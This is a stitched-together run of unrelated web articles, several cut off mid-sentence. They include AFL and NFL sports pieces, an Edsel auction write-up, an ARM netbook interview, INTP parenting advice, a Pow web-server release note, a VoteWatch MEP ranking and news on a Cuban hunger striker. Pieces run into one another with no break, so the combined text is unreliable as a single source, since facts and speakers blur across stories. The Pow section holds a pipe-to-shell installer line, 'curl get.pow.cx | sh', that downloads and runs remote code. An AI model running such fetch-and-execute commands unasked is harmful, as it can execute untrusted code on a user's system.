Weekly shoutout to Santa Cruz city council candidate Robert Singleton for reading and engaging with us on the Dump! At least one of them is paying attention. Weekly shoutout to current city council person Richelle Noroyan for taking time out of her day to be the only person who works for the city (on her own time) to back up Scott Collins at the Coastal Commission hearing.THE WESTERN Bulldogs are unsure if forward Jake Stringer will be available for next Friday's clash with Hawthorn at Etihad Stadium after he suffered a hamstring injury in the first quarter of Saturday afternoon's loss to Port Adelaide in Ballarat.
Stringer came straight off the field and went down the race after hurting himself. He came back out soon afterwards and tried a few run-throughs along the boundary before having ice applied to the injured muscle.
It was the same hamstring that forced the premiership Bulldog to miss three games earlier this month, with Stringer having made his return last week against Greater Western Sydney.
Dogs coach Luke Beveridge said the absence of Stringer didn't cost his side the game. "We haven't really recovered that well when we've lost a player early in games. We should be able to cover that but I don't think it had a huge effect on the game, but at his best, he's a pretty handy player," Beveridge said.
The Dogs led by seven points at the last change before Port kicked six last-quarter goals to win by 17 points.
The Power suffered an early injury of their own with youngster Dan Houston hurting his right shoulder and leaving the field before quarter time. Houston returned to the field in the second quarter.On paper, the Edsel brand sounded like a great idea to the people at Ford. They were looking to expand their product lineup to better compete with Chevrolet. Edsel was meant to fill the price gap between base Ford models and the up market Mercury brand. The new brand was supposed to be an entirely new kind of car, but instead turned out to be a massive flop. Edsel sales were dismal and after just three years, Ford shut down the company. It wasn’t until just a few years ago that people started noticing Edsels. Their styling make them stand out from the sea of ’57 Chevys and being a Ford product means most parts are available. They still haven’t gained mainstream popularity, but convertible models are starting to gain in value and interest. This ’58 Edsel Pacer Convertible was recently pulled from a barn and has since been listed here on eBay. If the seller’s reserve isn’t set much higher than the current $5,000 bid, it could turn out to be a great buy!
As with any car, there are things to watch out for when buying an Edsel. The Pacer came with Edsel’s 361 cui V8, the E400, which was rated at 303 horsepower. All that power was routed through their Tele-Touch transmission, which had gear selector buttons built into the steering wheel and is the weakest link in the drivetrain. The seller claims both the engine and transmission were rebuilt at some point and that the transmission works as it should. Ford had gone to great lengths to market the Edsel as being the future of the automobile, and while buyers didn’t see it that way in 1958, things like gear selection from the steering wheel is something seen on nearly all modern day sports and super cars. It might have been a failure back when it was new, but maybe Ford wasn’t so far off base with the Edsel. Perhaps it was poor execution, questionable build quality, or maybe it was just too advanced for its time.
The seller claims this one is an original survivor, but that maintenance work and some restoration work has already been done to it. The interior looks mostly original, but we are going to guess that it has been partially restored already. We are alright with some restoration work being done, as long as it was done correctly and preferably done by a professional. The seller admits it has an amateur paint job, but thankfully white is fairly forgiving. We would want to inspect the work that’s been done to it carefully. If the amateur work that’s been done is just cosmetic, than it shouldn’t be much of a concern.
We love how different the Edsels are and we are glad they are starting to receive some respect, but at the same time it makes us a bit sad to see them enter the mainstream market. Unlike most of the cheaper oddballs we find, we foresee these going up in value until they are out of our realm of affordability. This could be great news if you already have one, but for the rest of us it means we will have to enjoy the quirky Edsel styling and technology from a distance. Let’s just hope we are wrong and that these won’t inflate much more. We will keep our eye on this auction and the Edsel market as a whole to see where it goes from here.ARM chief executive Warren East has claimed that netbooks could swallow 90% of the PC market, in an exclusive interview with PC Pro.
The British chip design firm, which is the biggest rival to Intel's dominant Atom processors in the netbook space, claims the low-budget laptops could transform the PC market. And East says the chip firm will succeed "with our without" Windows support for its processors.
"Although netbooks are small today – maybe 10% of the PC market at most – we believe over the next several years that could completely change around and that could be 90% of the PC market," said East. "We see those products as an area for a lot of innovation and we want that innovation to be happening around the ARM architecture."
There’s not really a huge amount of point in us knocking on Microsoft’s door
East claims ARM already has several processors inside the typical netbook, but it wants the final piece of the jigsaw - the CPU. "Let’s say you go and buy a laptop today. You’ll find the application processor is an Intel device or an AMD device. Typically you’ll also be buying two or three ARM microprocessors," East claimed.
"Chances are it’s an ARM in the Wi-Fi or Bluetooth. More often than not there’s an ARM in the hard disk drive and sometimes there’s an ARM in the integrated camera as well. Not to mention the ARM that’s in the printer that you may or may not have bought to go with it."
"Right now there’s only one microprocessor in the PC that probably isn’t ARM and that’s the applications processor. Certainly what we’re talking about over the next few years – particularly with netbooks, not with PCs – is the opportunity for those to be ARM."
No point in chasing Windows
One significant barrier to ARM CPUs in netbooks is Windows' lack of support for the company's processors. East admits it's a problem. "If we were to wake up tomorrow and find Windows support for ARM it would certainly accelerate ARM penetration in that space," he said.
"What’s holding it back is people’s love of the Microsoft operating system and that fact that it’s familiar and so on. But actually the trajectory of progress in the Linux world is very, very impressive. I think it’s only a matter |
and fiercely independent, INTPs need plenty of freedom, challenge, and the opportunity to continually learn new things.
The examples that follow are drawn from stories of real children. But since all people are unique, your INTP may not demonstrate all of the characteristics described or may not demonstrate them with the same degree of intensity. But if your child really is an INTP, most of what you read should sound strikingly familiar.
Preschool INTPs
Birth to Age 4
To many parents of INTPs, it may seem that their baby is really an adult, trapped inside a child's body! A bit remote and totally self-contained, INTP babies are generally calm, placid, and serious. They are usually content to sit and observe the world and the people around them, curious and stimulated by anything new or novel. They are most interested in learning new things and tend to be very autonomous, with a strong craving for mastery that follows them throughout their lives. INTPs are not generally very affectionate, smiley, or demonstrative infants, nor are they usually tearful or weepy children. Naturally detached and generally unemotional, INTPs seem to be always a bit removed from those around them, even their parents. They are eager to do things for themselves, and, even as small children, are typically more stoic, aloof, and impersonal than children of other types.
When Margaret was three, she announced to her parents that she wanted no more hugs and kisses from them. When they protested, she paused a moment and then compromised: 'OK, you can hug me sometimes, but only when I say so, and only at home.' Sometimes, when she really wanted something her parents had refused her, she would try to bargain with them, offering to hug or kiss them in exchange for giving her what she wanted!
Most INTP toddlers like and need lots of time alone and are quickly tired when they are handled by lots of people. They may even be selective and sensitive to too much external stimulation, which can show up as being highly choosy about foods, smells, and the touch of strangers. INTPs tend to be hesitant about new people, as well, and as toddlers are more apt to stand back from groups and watch the social action for long periods before joining in. And, often as not, INTPs may choose not to join at all. They will not be rushed or pushed into doing anything they do not want to do. They prefer talk and play that is one-on-one rather than in large groups.
Doug had a large extended family, all of whom lived in the same town. So his family was forever hosting large family gatherings, and all major holidays were celebrated in his house. Even during the child-oriented parties like Easter, Christmas, and birthdays, Doug would begin to droop after too much people contact. When he was a baby, he would begin to fuss or cry if too many people held him. Once he was able to talk, he simply pulled his mother aside and told her he wanted to go to bed.
While most INTPs tend to be reserved and do not freely tell you what they are thinking, their early language is often surprisingly articulate and sophisticated. They may use creative and unusual ways of describing experiences. When three year old Aster's feet fell asleep, she described the tingling pins and needles sensation by saying there were'sparkles' in her feet. Young INTPs tend to be quiet for long periods of time, thinking things through, and then announce with clarity and confidence an insight they've had or a correlation they have made between unrelated things. Even as preschoolers, they frequently start sentences with, 'So what you're saying is...', showing how easily they can synthesize information into a premise or theory. INTPs are naturally global thinkers and demonstrate plenty of evidence of their ability to make connections easily and accurately. But they will usually share these insights only with their parents or other people they know very well and trust. Publicly, they appear shy and watchful.
When Peter was only two, he stood in the crib and said, 'Square, circle, square. Square, circle, square.' At first his parents didn't understand what he was saying and wondered if he was asking for a particular toy. Finally they realized he was looking behind them and describing the pattern in the wallpaper.
The frequent questions INTPs ask are often startling ones. INTPs are very curious and interested in understanding why things are as they are. They are usually not satisfied with anything less than clear and complete answers and would really prefer to explore and figure out the mechanical underpinnings of objects and their principles of operation than listen to anyone describe how they work. So many young INTPs like to take things apart everything from ballpoint pens to clock radios. Often, they would rather take their toys apart and put them back together than play with them in more conventional ways. And INTPs often ask surprising and irreverent questions about concerns and issues way beyond their years.
Nickie's family called her the 'why' child. She tended to be silent for long periods of time and then suddenly ask questions that seemed to come out of left field. Once, she wanted to know how scientists determined that certain berries were poisonous. She asked, 'How did they find it out? Did they feed them to old women to see if they died?' After church one day when she was four, Nickie asked her mother, 'How do we know there's only one God? Has anyone seen Him?' Pat answers were never sufficient, and no amount of surprise or sometimes even shocked reactions from adults diminished her curiosity or deferred her questioning.
A pattern of silence followed by short periods of high energy and interaction is common among INTPs. Their need for action and social connection is met in bursts that are unpredictable in nature and few and far between. But most INTPs spend much of their lives inside their own heads. They are very internal people and require lots of time and space to think things through and understand the world around them. Clearly, they enjoy their private musings. They love creative toys, building materials, puzzles, and any open-ended activity without rules or restrictions. They frequently have just one good friend and nearly always would rather learn something on their own than learn as part of a group. While they are usually hesitant around new people, they are often fearless about taking on physical challenges. Characteristically, they exude quiet confidence and calmly and casually master new challenges as other, less adventurous children look on.
The Joys and Challenges of Raising Preschool INTPs
Perhaps the biggest challenge of raising preschool INTPs is that they can often be so remote and emotionally distant from their parents and their families. Feeling parents, hungry for expressions of affection and appreciation, may feel rebuffed or ignored by their independent and analytical INTPs. Even young INTPs are not easily offended and seem to have been born with a thick skin, impervious to the opinions or criticisms of others. They tend to be very honest even blunt but are typically unaware of the emotional impact their words or actions have on others. They may be confused and irritated at the extent to which other members of their families or their friends personalize things.
Four year old Justine had frequent arguments with her more Feeling six year old sister, Kimberly. During these arguments, Kimberly's feelings were often hurt and she would accuse Justine of being mean 'on purpose', which infuriated Justine. Their mother watched the dynamics between them and saw that Justice did indeed step on her sister's toes in many ways with her super-logical and direct approach and her analytical reactions. But Justine was always baffled when Kimberley was hurt, because she reasoned that since she never meant to be mean, her sister shouldn't blame her for it. Justine was not able to see that the effect of her actions was the same, regardless of her intent.
While INTPs do have an innate sense of fairness, they are not naturally empathetic. Young INTPs are rarely malicious or intentionally cold, but they are generally unaware of and unaffected by the feelings of other people. They are not persuaded or convinced by anything but pure and flawless logic. When parents shout or rage or otherwise respond with great emotion to the INTP's misbehavior, the child usually looks confused or even condescending as though the parents are crazy for overreacting. It takes a lot more to elicit an emotional outburst from an INTP than from children of many other types. Since INTPs seem to learn only from the logical consequences of their actions, nothing but experiencing the natural and social consequence of their insensitivity will have any effect. As parents, we can calmly and patiently allow them to learn on their own, over time, the intrinsic value and tangible positive results of expressing warmth or doing things to help others. But empathy and sensitivity, just like an openness and willingness to share what they are feeling, are hard-learned skills for INTPs.
Because preschool INTPs are so naturally curious about how things work and are typically driven by their innate inquisitiveness to explore the world around them, they often take physical risks that alarm or frighten their parents. They tend to climb on high counters, make ladders from dresser drawers to get on top of furniture, and otherwise use their imaginations and excellent powers of creative problem solving to overcome obstacles. Their everyday play seems to just naturally push the limits of both safety and acceptability. And for some reason perhaps because of their inherent danger and the fact that they are strictly off-limits stoves seem to hold especially seductive powers to many, many INTPs.
When Kenny was four, he climbed into the oven and then turned it on. Fortunately, his wary mother was never too far behind him, and she quickly scooped him out of the oven. He also liked to turn on the garbage disposal, and once his exasperated mother found him on top of the refrigerator calmly eating a bagel.
INTPs are unaffected by and rarely dissuaded by rules, limits, or even barriers. They seem to be always one step ahead, able to figure out cunning and creative ways of getting what they want or exploring that which intrigues them. Naturally nonconforming, they are skeptical, even disdainful, of rules. They will just quietly and purposefully go ahead and do what they have been told repeatedly not to do. Many parents of young INTPs report numerous occasions when their preschool children just walked away from them, crossed streets by themselves, or let themselves out of locked gates. Combine an innate spirit of wanderlust with ingenious problem solving and you get a child who is almost unstoppable and nearly unrestrainable.
The first time four year old Eric got into his father's toolbox, his parents bought a lock for it to keep him safe from the saws, nails, and other sharp tools. Soon after that, however, Eric got out of his bed, crept downstairs to the basement, and carefully removed the hinges on the box in order to open it.
Because they are more often in their own world, young INTPs can be difficult to motivate and get moving. Trying to push young INTPs into social situations they do not feel comfortable in is a common mistake parents make. In particular, Extraverted parents, eager to get their children involved with friends and activities, unwittingly communicate displeasure with and, more damaging, an intolerance of, their INTP child's innate desire and need for privacy. Above all, INTPs of any age need to be competent. They do not want to be placed in social situations in which they feel awkward or unsure.
Impulsive and adaptive, INTPs are happiest when they are afforded as much time and space as possible. They will not be rushed, and emotional appeals or even threats have little or no effect. These children move along at their own pace, unaware and unconcerned about time, structure, or the inconvenience they may be placing on their parents. While it can be trying to accommodate a young INTP's pace, it may well require some parents to reassess their priorities, especially those with busy schedules and a strong need for punctuality and order. By recognizing and accepting these natural INTP tendencies, rather than resisting them, parents can instead put their energy into finding happy and constructive compromises. The alternative is a very long and unproductive battle with this type of child.We’ve just released version 0.4.0 of Pow, our zero-configuration web server for Rails development on OS X.
There are several new features in this release, including port proxying and better support for zsh users, but my favorite is a tiny addition that makes a huge difference when testing your apps on mobile devices.
Pow has always made it easy to access Rails apps on your computer with its built-in.dev domain. Just symlink your app into the ~/.pow directory and visit http://myapp.dev/ in your browser.
But what about testing your apps on mobile devices, or in IE? Pow’s.dev domain only works on your local machine.
Until now, testing on other computers required modifying /etc/hosts or setting up a custom DNS server on your router. Now we’ve fixed that, too.
Introducing xip.io, the magic domain name
Pow 0.4.0 has built-in support for xip.io, a free service from 37signals that provides wildcard DNS for any IP address.
With xip.io you can access your Rails apps from devices on your local network, like iPads, iPhones, Windows VMs, and other computers. No configuration required.
Say your development computer’s LAN IP address is 10.0.0.1. With the new version of Pow, you can now access your app at http://myapp.10.0.0.1.xip.io/. And xip.io supports wildcard DNS, so any and all subdomains of 10.0.0.1.xip.io resolve too.
Read more about xip.io at http://xip.io/ or check out the full source code on GitHub.
Installing and upgrading
See the full 0.4.0 release notes and install or upgrade with one simple command from your terminal:
curl get.pow.cx | sh
As always, the user’s manual and annotated source code are available for your perusal.The way LeCharles Bentley sees it, the deteriorating quality of offensive line play in the NFL is an epidemic just like any other. Bentley, a former center for the Saints and Browns who now runs his own linemen training facility in Arizona, has watched the level of proficiency at the position group plummet in the past few years, and the search to pinpoint the crisis’s equivalent of patient zero pick up in earnest. “The natural tendency is to identify one potential culprit,” Bentley says. “But there’s always multiple factors that caused it to spread. It’s the same thing we’re seeing right now. Many are trying to look through a keyhole and see an entire hallway.”
Those who are involved with offensive linemen in the NFL—from current and former players to coaches to executives—admit that the league is approaching a crossroads at the position. A shortage of effective linemen has affected the way offenses function, and blocking struggles have been the worst offender in creating the lackluster product on display at times during the first half of the 2017 season. Scoring league-wide has dropped from an average of 22.8 points per game last season to 21.9 in the first half of this fall, and teams are scoring fewer touchdowns per game (2.38) than they have since 2006. A collapse in offensive line quality has played a major role, and every expert has a pet theory for how it happened.
The rise of the spread offense in college football is a common villain, as many say that young linemen are entering the league less prepared than they’ve ever been. The limitations placed on team practice time under the new collective bargaining agreement is another. The truth is that the NFL’s state of offensive line emergency is likely the byproduct of several factors whose effects have all been exacerbated by the presence of the others. The evaluation and development of offensive linemen are being hit hard from several angles, and the cumulative impact has been devastating.
By exploring all of the influences and how they relate to one another, it may be possible to figure out how to combat them—and improve what we see on the field on Sundays.
Over the past few years, the spread offense has been stuck with a reputation as the NFL’s boogeyman, to the point that its proliferation in the college game has begun to feel like a tired excuse for failings at the professional level. Yet while teams across the league try to incorporate more spread concepts into their offenses, the approach’s effect on the development of young linemen has grown impossible to ignore. “It’s building block stuff,” Falcons offensive line coach Chris Morgan says of the deficiencies he sees in incoming linemen. “Now, there’s a little bit steeper of a curve with the stuff that used to be givens. You’re talking about guys hearing plays in a huddle, breaking a huddle, getting into a three-point stance, working combination blocks. You’re farther away than you used to be in terms of reps banked.”
“If you’re running a spread offense in the college game, almost nothing translates to the NFL.”
—Geoff Schwartz
The college game has started to move at such a rapid pace that it can barely resemble the sport played in the NFL. In January’s national championship game, for example, Clemson beat Alabama by running a whopping 99 plays from scrimmage; in last week’s thrilling 41-38 victory against the Texans, the Seahawks ran just 64. This trend has stunted the progression of linemen from a technical standpoint—guys in spread offenses constantly line up in a two-point stance, almost regardless of the situation—and, more crucially, it’s eliminated the complexity that’s long been inherent to line play. By operating at such a ridiculously fast clip, college offenses have negated the importance of the blockers up front making specific identifications and picking up intricate blitzes, which are skills that continue to be vital in the pros.
“If you’re running a spread offense in the college game, almost nothing translates to the NFL,” former NFL offensive linemen and current SiriusXM and SB Nation analyst Geoff Schwartz says. “You’re running at such a high tempo that teams aren’t going to twist and blitz because you’re moving so fast. Defenders are so tired.”
Titans general manager Jon Robinson says that the goal of many college practices is “going for quantity,” with teams using that time as a way to hone their ability to move lightning fast come game day. To wit: When Schwartz played at Oregon under then-first-year offensive coordinator Chip Kelly, he says that watching practice film had almost no value. The scout team could barely line up before the ball was snapped. And while college coaches doing their best Ricky Bobby impression is outrageously fun to watch, it’s caused linemen to lack technical skills and knowledge of schemes and protections that would allow them to smoothly transition from the NCAA to the pros.
As schematic differences have muddied both evaluation and development of college players, finding young linemen who have a baseline skill set has become more difficult. Figuring out which schools those players come from, though, has become increasingly apparent. A disproportionate number of starting NFL offensive linemen in recent years have come from a small collection of programs, and the percentage of quality linemen to emerge from that group is staggering. Wisconsin, for instance, has produced six starting NFL linemen in a pool of 160 players, including a pair of players (Kevin Zeitler and Rick Wagner) who reset the market at right guard and right tackle this offseason, a future Hall of Famer (Joe Thomas), and maybe the top center in football (Travis Frederick). Iowa boasts guys like Marshal Yanda, Bryan Bulaga, and Brandon Scherff, while Notre Dame counts Ronnie Stanley, Zack Martin, and his young brother, Nick.
Gleaning how these schools (and others like Ohio State and Stanford) have consistently churned out quality linemen comes down to a simple premise: By giving young players experience lining up in three-point stances and—in several of these cases, but not all—heavier formations that resemble those in the NFL, these schools move players further along in their development than most of their peers. Their education about what it takes to make it in the league doesn’t start from scratch. And given the barriers coaches now face in developing players after they’ve been drafted, the idea of finding linemen with strong starting points has become more attractive than ever.
The 2011 CBA restrictions that were placed on practice time have been a constant topic of league-wide conversation through the past few years. The area where that lack of practice shows up most noticeably is in the performances of offensive linemen, who aren’t even permitted to line up across from each other—with or without pads—during spring conditioning programs. “The way you fit blocks is different, the way you strike and punch,” Morgan says. “You can still work those things, but it’s like anything else—the less you do of it … you’ve got to really monitor the quality.” Limits on practice were instituted as a means of improving player safety, a worthwhile endeavor that’s unfortunately had a few unintended side effects.
According to Schwartz, the CBA change that’s most significantly hindered effective line play has been the ban on two-a-day practices during training camp. The offensive line is the only position group whose players literally have to work in step with teammates on every snap. Linemen are most successful when they innately know the habits and tics of players aligned next to them, and when they don’t get the reps needed to build that kind of rapport, the lack of familiarity eventually shows down the road. Schwartz cites a simple inside zone run with the right guard and the right tackle running a combination block on a defensive tackle lined up as a two-technique (directly over the guard) as an example. On the first time this play is run, the pair might botch the block. On the second, they might correct the mistake. On the third, the tackle could shift into a different gap. “That’s three separate plays,” Schwartz says. “We had a double-team we screwed up, we came back and fixed it, and all of a sudden, he moved. The fourth time, there’s a [defensive] pressure. The fifth time, the guys twist.”
When teams were allowed to have two practices per day in camp, there was adequate time for offensive lines to cycle through every possible variation and wrinkle that a defense could present—not only identifying it, but also facilitating an understanding of how the players would respond in real time. The same held true for linemen planning to stop blitzes or stunts in pass protection. “You don’t get as many reps anymore,” Schwartz says, “so I think when guys get to the game, a lot of players are surprised by movement and the things that happen.”
As the development of young players has become less reliable, teams’ desire to have veteran offensive line talent has naturally increased. And with this year’s draft almost entirely devoid of plug-and-play offensive line starters, needy front offices were pushed to the free-agent market and forced to pay 110 cents on the dollar as a result of overwhelming demand. Trying to keep tabs on the movement of 2017 free-agent linemen felt similar to watching an elaborate shell game. Top-end starters swapped jobs all over the league. After signing Rick Wagner as their new right tackle, the Lions let Riley Reiff walk; Reiff replaced Matt Kalil as the Vikings left tackle; Kalil signed a massive deal in Carolina, the team that the Vikings new right tackle Mike Remmers played for last season; T.J. Lang came to Detroit to be the new right guard; and the guy he replaced, Larry Warford, signed in New Orleans.
“An offensive line is kind of like a marching band. Everybody’s got to do it in step.”
—Larry Zierlein, Cardinals assistant line coach
For some of the teams that tried to replace veterans with young, highly drafted replacements, the results have been disastrous. The Bengals balked at the thought of making Zeitler the NFL’s highest-paid guard or paying a premium to retain 35-year-old Pro Bowl left tackle Andrew Whitworth this spring; Cincinnati currently ranks 30th in the league in adjusted sack rate, and both Jake Fisher and Cedric Ogbuehi haven’t looked like anything close to long-term answers up front. So far, the Cowboys have failed to replace the production of left guard Ronald Leary, who cashed in with the Broncos in March. With so much uncertainty surrounding the futures of each individual lineman, even the best-laid plans can go awry, which makes the background and experience of free-agent options all the more appealing.
Acquiring veterans has eliminated team concerns about how well players can grasp fronts, identify Mike linebackers, and protect. But this free-agency frenzy also has a drawback: Each seasoned player comes to his new home with habits and terminology learned elsewhere. “An offensive line is kind of like a marching band,” says Larry Zierlein, an assistant line coach for the Cardinals. “Everybody’s got to do it in step. [With free agents], you’ve got one guy doing a technique you learned in Baltimore, another guy doing a technique he learned in Dallas, and another guy doing something else.” Zierlein says it’s rare to see a starting five stay intact for more than a season or two these days. As the demand for free-agent linemen increases, so will player movement, ensuring a yearly game of musical chairs.
Therein lies the challenge in fixing the league’s offensive line problem: Every solution seemingly creates another issue.
One of the most confusing elements of the league’s offensive line crisis is how this shortage of quality linemen has coincided with the NFL’s athletes being better than ever before. “I think that’s where some of the mystery is coming in,” Bentley says. “Across the board, we have bigger, faster, stronger players, but the quality of [line] play has definitely decreased. I think now is the time when people have to start recognizing that [playing well on the] offensive line isn’t just about [being] a high-level athlete. It’s about being a high-level craftsman first.”
The size and speed of players around the league continues to increase, but that’s less impactful on the offensive line than it is at any other position besides kicker and punter. Because a majority of the skills that determine success are learned, the benefits that come from having significant athletic advantages are mitigated. “It’s such a technical position,” Robinson says. “You can’t just be big, move to the left, move to the right, and move straight ahead and be effective. It’s hand placement, it’s body coordination, and it’s playing with good power angles.”
“You can’t just be big, move to the left, move to the right, and move straight ahead and be effective. It’s hand placement, it’s body coordination, and it’s playing with good power angles.”
—Jon Robinson, Titans general manager
Further amplifying this problem is the set of players that offensive linemen are tasked with stopping. The benefits bestowed upon ludicrously athletic defensive linemen fall on the polar opposite of the spectrum. While the nuances of pass rushing are often understated, it remains a skill in which a rare combination of quickness and bulk can make up for a host of other blemishes. The uptick in physical gifts for defenders up front means that interdimensional beings like Myles Garrett and Jadeveon Clowney have entered the NFL. Even more problematic for offensive linemen is the sheer number of potential game wreckers who can be on the field at any one time.
The league’s premier defenses have gone from having one—or two, if they’re lucky—dominant rushers to trotting out three or four all at once. When the Jaguars can line up Calais Campbell and Malik Jackson on the inside while rushing Dante Fowler Jr. and Yannick Ngakoue off the edge, they present a terrifying prospect for opposing offensive lines. Deep, varied rotations in the front four mean offensive linemen have to be ready to handle a constant barrage of blitzes; with defensive coordinators constantly tweaking their alignments and moving guys to different spots along the line, it becomes only a matter of time before the weaknesses detailed above are exposed.
Zierlein points to Arizona’s Week 9 opponent, the 49ers, as a case study in what offensive lines are dealing with in 2017. San Francisco features a trio of former first-round picks on the defensive line: DeForest Buckner, Arik Armstead, and Solomon Thomas. “They will find a matchup. If they think your left guard is your weakest pass blocker, they’ll take their [best pass rusher] and put him inside. They don’t have to just be a tackle or an end. They’re looking for matchups.”
When a defense establishes that upper hand even briefly, it reveals one of the key distinctions between the realities of playing on each side of the line. “If you got one sack every game as a D-linemen, you’re a Hall of Famer,” Schwartz says. “If you give up on sack every game as an offensive linemen, that’s your last season playing.”
There was plenty to like about Jack Conklin going into the 2016 NFL draft, but Robinson says that what ultimately convinced the Titans to take the Michigan State product eighth overall was fairly straightforward. “When you put the tape on, it’s pretty simple: He blocked his guy,” Robinson says. “At the end of the day, that’s the most important thing for an offensive lineman. Whoever you’re supposed to block, you block him. It may not always look pretty. He may not look like the world’s best ballroom dancer out there, but he got on his guy, and he blocked him.”
This may sound like common sense rationale, but it sheds light on one final problem teams have encountered when trying to locate quality offensive linemen. Some of the worst draft misfires in recent years have come when high picks have been spent on offensive linemen whose vast potential has made it easy to overlook their fundamental deficiencies. The best example might be Lions tackle Greg Robinson, who was taken no. 2 overall by the Rams in 2014. Evaluators and coaches fell in love with Robinson’s size, strength, and mobility dating back to his days at Auburn, but that didn’t mean he was ready to be a consistent presence in the NFL. The same goes for the Giants’ Ereck Flowers, who’s disappointed in three pro seasons after being selected ninth overall out of Miami in 2015.
“If you got one sack every game as a D-linemen, you’re a Hall of Famer. If you give up on sack every game as an offensive linemen, that’s your last season playing.”
—Geoff Schwartz
There’s no denying that a ridiculous athletic profile is a component of some of the league’s best offensive linemen, especially at tackle. Lane Johnson, Joe Thomas, and Tyron Smith are three of the best athletes in the history of the position. The problem for offensive linemen, though, is that having that kind of uncommon athleticism is better served in helping a player reach his ceiling than in establishing an acceptable baseline for performance. As the league struggles to hone the skills of its offensive linemen—in part because of their background in spread offenses, in part because of their accrued lack of practice time, and in part because of myriad other factors—Bentley feels that it’s essential for teams to seek out players with projectable traits, even if those traits don’t necessarily blow people away. “[Coaches say], ‘I can’t develop this player,’” Bentley says. “Fine. At least [the traits that] I have on film from college are based on an identifiable, transferable skill set that at minimum is going to show up in the NFL. And in that reality, you usually have a player that can keep his head above water.”
The challenge for coaches and evaluators becomes determining which skills are transferable without much development. Bentley thinks this starts by examining the simplest stuff, like a player’s pre-snap stance, before then evaluating his understanding of angles and leverage. Zierlein primarily values intelligence, and not the kind that players can show by working on a white board. He wants to know how surprised offensive linemen will be when they’re presented with opposing twists and blitzes.
For Bentley, solving the game’s most glaring positional crisis has become about learning how to deal with the factors that have created it. “[Coaches] are never getting back more time,” Bentley says, “and they shouldn’t!” It’s up to decision-makers across the league to discern what type of players represent the best bets, and the stakes for getting that right are high: The quality of line play goes a long way in determining how much exciting offense appears on TV every Sunday. Other than unearthing a dozen great young quarterbacks, the NFL’s best path to avoiding unwatchable football is to create a larger pool of serviceable offensive linemen. It’s that pursuit that may have front offices changing what they look for at the position.
“Everyone’s on the market for a new car, and everyone has budgets for a Maserati,” Bentley says. “But the problem is when you’re trying a build a player and [considering] the climate we’re doing it in, putting a Bentley or a Maserati on a dirt road isn’t exactly the best way to go about it.”MEPs from Germany and Italy continue to exercise the most influence in the European Parliament, while the British begin to slip in a ranking compiled by an NGO.
A report out on Monday (11 September) by the Brussels-based VoteWatch Europe, had also found that lesser-known MEPs are still able to command considerable power when it comes to policy-making.
British eurosceptic MEP Nigel Farage campaigned for Brexit (Photo: European Parliament)
"There are quite a few names in the top 70 that you may not have heard of or often encountered," said VoteWatch's Doru Frantescu.
Among them is Spanish socialist Ines Ayala Sender, who ranks seventh in a list of 70 MEPs. Other unknowns at the top include Polish conservative MEP Ryszard Czarnecki, Latvian centre-right MEP Krisjanis Karins, and Bulgarian liberal Iskra Mihaylova.
"They are not that well known, they are not very well visible in the media but still they are influential," noted Frantescu.
The more obvious heavy-hitters still dominate with the EU parliament's president, Antonio Tajani, ranking in first place.
Italian socialist group leader Gianni Pittella and German centre-right group leader Manfred Weber share the second spot, followed by the liberal group leader, Belgian MEP Guy Verhofstadt.
Weber's centre-right EPP group is larger than Pittella's socialist S&D. But S&D's smaller size was compensated by the socialists having won more votes in the plenary than the EPP, says VoteWatch.
Despite having lost Martin Schulz, the former EU parliament president, the Germans still dominate - with large delegations in both the EPP and S&D groups.
Their numbers mean they are able to jockey for key positions and take the lead, or so-called rapporteur positions, on policies floated by the European Commission. German MEPs chair five committees in the parliament.
The Italians are also able to squeeze more influence than their French counterparts. Italians have the largest delegation in the S&D, but also manage to exert pressure in fringe groups.
VoteWatch says the flexibility among the populist Five Star Movement's MEPs in the Europe of Freedom and Direct Democracy group means they are able to secure coalitions with other groups and obtain key positions. Earlier this year, the Five Star Movement's MEPs almost joined the liberal group.
It also sets the Italians apart from the French, whose biggest delegation is represented by MEPs from the more narrow National Front party. Fewer more conventional French MEPs leaves them "vulnerable in their own political groups," said Frantescu.
While the British may have dropped influence, given their eventual exit from the European Union, there are exceptions.
Among them is Claude Moraes, a socialist MEP from the UK, who chairs the parliament's civil liberties committee. Moraes ranks sixth in the list.
"It is a fantastic achievement by him to still remain influential but he's an exception to the rule," noted Frantescu.
VoteWatch drew its findings by weighing some 200 responses of people who often interact with MEPs.
It says it used an algorithm that calculates the influence of an MEP on the basis of legislative activity, leadership, and other activities - such as number of amendments.
Its first report was issued last year, and drew similar conclusions.Cuba says will not be 'blackmailed' by hunger striker
Mr Farinas says he is not seeking to overthrow the government Cuba says it will not be "blackmailed" by a dissident journalist who is on hunger strike to seek the release of ailing political prisoners. Guillermo Farinas, 48, began his action after Orlando Zapata Tamayo died while on hunger strike in jail. Communist Party newspaper Granma, which reflects government policy, said it would not bow to pressure. It said Western media were "calling attention to a prefabricated lie" by reporting his case. "Cuba, which has demonstrated many times its respect for human life and dignity, will not accept pressure or blackmail," the newspaper said. 'Profoundly touched' Mr Farinas says he will continue to refuse food and water until the Cuban authorities release the country's 26 most vulnerable and ailing political prisoners. He has said he is not seeking the overthrow of the government or greater freedom of expression in the country. "I say to them - either they free the 26 political prisoners who are sickest, or nothing. I am going to stick to my position to the end," he told AFP news agency. Some 43 Cuban political prisoners released a statement in support of his protest, saying they were "profoundly touched" by his sacrifice, AFP said. But Granma said Mr Farinas was "an agent in the service of the United States", Cuba's foe and added: "It is not medicine that must resolve a problem created with the intent to discredit our political system but the patient himself and the stateless people, foreign diplomats and the media who manipulate him". Mr Farinas began his strike on 24 February, a day after Zapata died following an 85-day hunger strike to protest at prison conditions. The case of Zapata, whom human rights campaign group Amnesty International declared a prisoner of conscience, drew widespread international condemnation and calls for the release of all Cuba's detained political dissidents. His death marked the first time in nearly 40 years that a Cuban activist had starved himself to death to protest against government abuses. Cuba's illegal but tolerated Human Rights Commission says there are about 200 political prisoners still held in Cuba, about one-third less than when Raul Castro took over as president from his brother Fidel.
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StumbleUpon What are these? E-mail this to a friend Printable versionThough many have been contained, wildfires continue to rage throughout many parts of Russia. In a new twist to the situation, officials have confirmed that some forests that were contaminated with radiation from the Chernobyl nuclear disaster have now burned, but it was unclear what |
denoted by "kWh". For instance, Tesla offers vehicles with 70 kWh or 85 kWh batteries. The Nissan Leaf sports a 24 kWh battery, while the Chevy Bolt from General Motors may come with a 60 kWh battery. The Chevy Volt, a plug-in hybrid, utilizes a smaller 16.5 kWh battery supplemented by its gasoline engine.
